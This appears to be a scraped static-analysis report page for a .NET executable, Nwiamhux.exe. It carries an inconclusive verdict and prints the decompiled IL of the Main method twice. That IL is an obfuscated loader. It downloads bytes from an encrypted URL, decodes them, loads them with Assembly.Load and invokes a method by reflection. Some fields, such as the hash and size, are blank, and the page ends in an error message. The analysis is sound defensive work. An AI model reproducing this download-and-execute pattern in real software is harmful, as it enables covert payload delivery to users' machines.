Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec

The file 5e9888d5fcd65f2c3bfdd37a73bfe167 is a PE Executable for which Malva.RE's static analysis did not establish a malicious verdict. Static analysis extracted 3 embedded or derived files. It matches 8 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
—
MD5
-
Verdict
Inconclusive
File type
PE Executable

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Medium

4 files
EXE5e9888d5fcd65f2c3bfdd37a73bfe167
Structure

Name Value
Module Name
Nwiamhux.exe
Full Name
Nwiamhux.exe
EntryPoint
System.Void  ::()
Scope Name
Nwiamhux.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Nwiamhux
Assembly Version
1.0.5128.16446
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
11
Main Method
System.Void  ::()
Main IL Instruction Count
144
Main IL
ldnull <null>
stloc.0 <null>
br.s IL_0045: br.s IL_0004
nop <null>
nop <null>
ldc.i4 3072
call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType)
leave.s IL_0015: newobj System.Void System.Net.WebClient::.ctor()
pop <null>
leave.s IL_0015: newobj System.Void System.Net.WebClient::.ctor()
newobj System.Void System.Net.WebClient::.ctor()
stloc.1 <null>
ldloc.1 <null>
ldc.i4 386167534
call System.String d::a(System.Int32)
callvirt System.Byte[] System.Net.WebClient::DownloadData(System.String)
stloc.0 <null>
leave.s IL_0040: leave.s IL_0047
ldloc.1 <null>
brfalse.s IL_0034: ldc.i4.1
ldc.i4.0 <null>
br.s IL_0037: brtrue.s IL_003F
ldc.i4.1 <null>
br.s IL_0037: brtrue.s IL_003F
brtrue.s IL_003F: endfinally
ldloc.1 <null>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0047: ldloc.0
pop <null>
leave.s IL_0045: br.s IL_0004
br.s IL_0004: nop
ldloc.0 <null>
ldnull <null>
cgt.un <null>
stloc.s V_5
ldloc.s V_5
brfalse.s IL_0054: ldc.i4.1
ldc.i4.0 <null>
br.s IL_0057: brtrue IL_0161
ldc.i4.1 <null>
br.s IL_0057: brtrue IL_0161
brtrue IL_0161: ret
br.s IL_008F: ldc.i4.s 99
ldloc.s V_9
ldc.i4.s 89
xor <null>
stloc.s V_9
br.s IL_0084: ldc.i4.s 91
ldloc.s V_10
ldc.i4.s 87
xor <null>
stloc.s V_10
ldloc.s V_10
ldc.i4.s 99
add <null>
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.s 91
call System.Int32 n/c::b(System.Int32)
stloc.s V_10
br.s IL_0067: ldloc.s V_10
ldc.i4.s 99
call System.Int32 w::ac(System.Int32)
stloc.s V_9
ldc.i4.s -56
stloc.s V_10
br.s IL_0067: ldloc.s V_10
ldloc.s V_9
ldc.i4.s 88
sub <null>
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.s -54
stloc.s V_10
br.s IL_0067: ldloc.s V_10
br.s IL_005E: ldloc.s V_9
ldloc.s V_6
brfalse.s IL_00ED: ldc.i4.1
ldc.i4.2 <null>
stloc.s V_9
br.s IL_005E: ldloc.s V_9
ldloc.0 <null>
call System.Byte[]  ::a(System.Byte[])
stloc.2 <null>
ldc.i4.3 <null>
stloc.s V_9
br.s IL_005E: ldloc.s V_9
ldloc.2 <null>
ldlen <null>
ldc.i4.0 <null>
cgt.un <null>
stloc.s V_6
ldc.i4.s 84
call System.Int32 w::ac(System.Int32)
stloc.s V_9
br IL_005E: ldloc.s V_9
ldc.i4.0 <null>
br.s IL_00F0: brtrue IL_0161
ldc.i4.1 <null>
br.s IL_00F0: brtrue IL_0161
brtrue IL_0161: ret
ldloc.2 <null>
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
stloc.3 <null>
ldloc.3 <null>
callvirt System.String System.Reflection.Assembly::get_CodeBase()
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_7
ldloc.s V_7
brfalse.s IL_0113: ldc.i4.1
ldc.i4.0 <null>
br.s IL_0116: brtrue.s IL_0161
ldc.i4.1 <null>
br.s IL_0116: brtrue.s IL_0161
brtrue.s IL_0161: ret
ldloc.3 <null>
ldc.i4 386167433
call System.String d::a(System.Int32)
callvirt System.Type System.Reflection.Assembly::GetType(System.String)
stloc.s V_4
ldloc.s V_4
callvirt System.String System.Type::get_FullName()
call System.Boolean System.String::IsNullOrEmpty(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_8
ldloc.s V_8
brfalse.s IL_0142: ldc.i4.1
ldc.i4.0 <null>
br.s IL_0145: brtrue.s IL_0161
ldc.i4.1 <null>
br.s IL_0145: brtrue.s IL_0161
brtrue.s IL_0161: ret
ldloc.s V_4
ldc.i4 386167389
call System.String d::a(System.Int32)
ldc.i4 256
ldnull <null>
ldnull <null>
ldnull <null>
callvirt System.Object System.Type::InvokeMember(System.String,System.Reflection.BindingFlags,System.Reflection.Binder,System.Object,System.Object[])
pop <null>
ret <null>
Module Name
Nwiamhux.exe
Full Name
Nwiamhux.exe
EntryPoint
System.Void  ::()
Scope Name
Nwiamhux.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Nwiamhux
Assembly Version
1.0.5128.16446
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
11
Main Method
System.Void  ::()
Main IL Instruction Count
144
Main IL
ldnull <null>
stloc.0 <null>
br.s IL_0045: br.s IL_0004
nop <null>
nop <null>
ldc.i4 3072
call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType)
leave.s IL_0015: newobj System.Void System.Net.WebClient::.ctor()
pop <null>
leave.s IL_0015: newobj System.Void System.Net.WebClient::.ctor()
newobj System.Void System.Net.WebClient::.ctor()
stloc.1 <null>
ldloc.1 <null>
ldc.i4 386167534
call System.String d::a(System.Int32)
callvirt System.Byte[] System.Net.WebClient::DownloadData(System.String)
stloc.0 <null>
leave.s IL_0040: leave.s IL_0047
ldloc.1 <null>
brfalse.s IL_0034: ldc.i4.1
ldc.i4.0 <null>
br.s IL_0037: brtrue.s IL_003F
ldc.i4.1 <null>
br.s IL_0037: brtrue.s IL_003F
brtrue.s IL_003F: endfinally
ldloc.1 <null>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0047: ldloc.0
pop <null>
leave.s IL_0045: br.s IL_0004
br.s IL_0004: nop
ldloc.0 <null>
ldnull <null>
cgt.un <null>
stloc.s V_5
ldloc.s V_5
brfalse.s IL_0054: ldc.i4.1
ldc.i4.0 <null>
br.s IL_0057: brtrue IL_0161
ldc.i4.1 <null>
br.s IL_0057: brtrue IL_0161
brtrue IL_0161: ret
br.s IL_008F: ldc.i4.s 99
ldloc.s V_9
ldc.i4.s 89
xor <null>
stloc.s V_9
br.s IL_0084: ldc.i4.s 91
ldloc.s V_10
ldc.i4.s 87
xor <null>
stloc.s V_10
ldloc.s V_10
ldc.i4.s 99
add <null>
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.s 91
call System.Int32 n/c::b(System.Int32)
stloc.s V_10
br.s IL_0067: ldloc.s V_10
ldc.i4.s 99
call System.Int32 w::ac(System.Int32)
stloc.s V_9
ldc.i4.s -56
stloc.s V_10
br.s IL_0067: ldloc.s V_10
ldloc.s V_9
ldc.i4.s 88
sub <null>
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.s -54
stloc.s V_10
br.s IL_0067: ldloc.s V_10
br.s IL_005E: ldloc.s V_9
ldloc.s V_6
brfalse.s IL_00ED: ldc.i4.1
ldc.i4.2 <null>
stloc.s V_9
br.s IL_005E: ldloc.s V_9
ldloc.0 <null>
call System.Byte[]  ::a(System.Byte[])
stloc.2 <null>
ldc.i4.3 <null>
stloc.s V_9
br.s IL_005E: ldloc.s V_9
ldloc.2 <null>
ldlen <null>
ldc.i4.0 <null>
cgt.un <null>
stloc.s V_6
ldc.i4.s 84
call System.Int32 w::ac(System.Int32)
stloc.s V_9
br IL_005E: ldloc.s V_9
ldc.i4.0 <null>
br.s IL_00F0: brtrue IL_0161
ldc.i4.1 <null>
br.s IL_00F0: brtrue IL_0161
brtrue IL_0161: ret
ldloc.2 <null>
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
stloc.3 <null>
ldloc.3 <null>
callvirt System.String System.Reflection.Assembly::get_CodeBase()
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_7
ldloc.s V_7
brfalse.s IL_0113: ldc.i4.1
ldc.i4.0 <null>
br.s IL_0116: brtrue.s IL_0161
ldc.i4.1 <null>
br.s IL_0116: brtrue.s IL_0161
brtrue.s IL_0161: ret
ldloc.3 <null>
ldc.i4 386167433
call System.String d::a(System.Int32)
callvirt System.Type System.Reflection.Assembly::GetType(System.String)
stloc.s V_4
ldloc.s V_4
callvirt System.String System.Type::get_FullName()
call System.Boolean System.String::IsNullOrEmpty(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_8
ldloc.s V_8
brfalse.s IL_0142: ldc.i4.1
ldc.i4.0 <null>
br.s IL_0145: brtrue.s IL_0161
ldc.i4.1 <null>
br.s IL_0145: brtrue.s IL_0161
brtrue.s IL_0161: ret
ldloc.s V_4
ldc.i4 386167389
call System.String d::a(System.Int32)
ldc.i4 256
ldnull <null>
ldnull <null>
ldnull <null>
callvirt System.Object System.Type::InvokeMember(System.String,System.Reflection.BindingFlags,System.Reflection.Binder,System.Object,System.Object[])
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙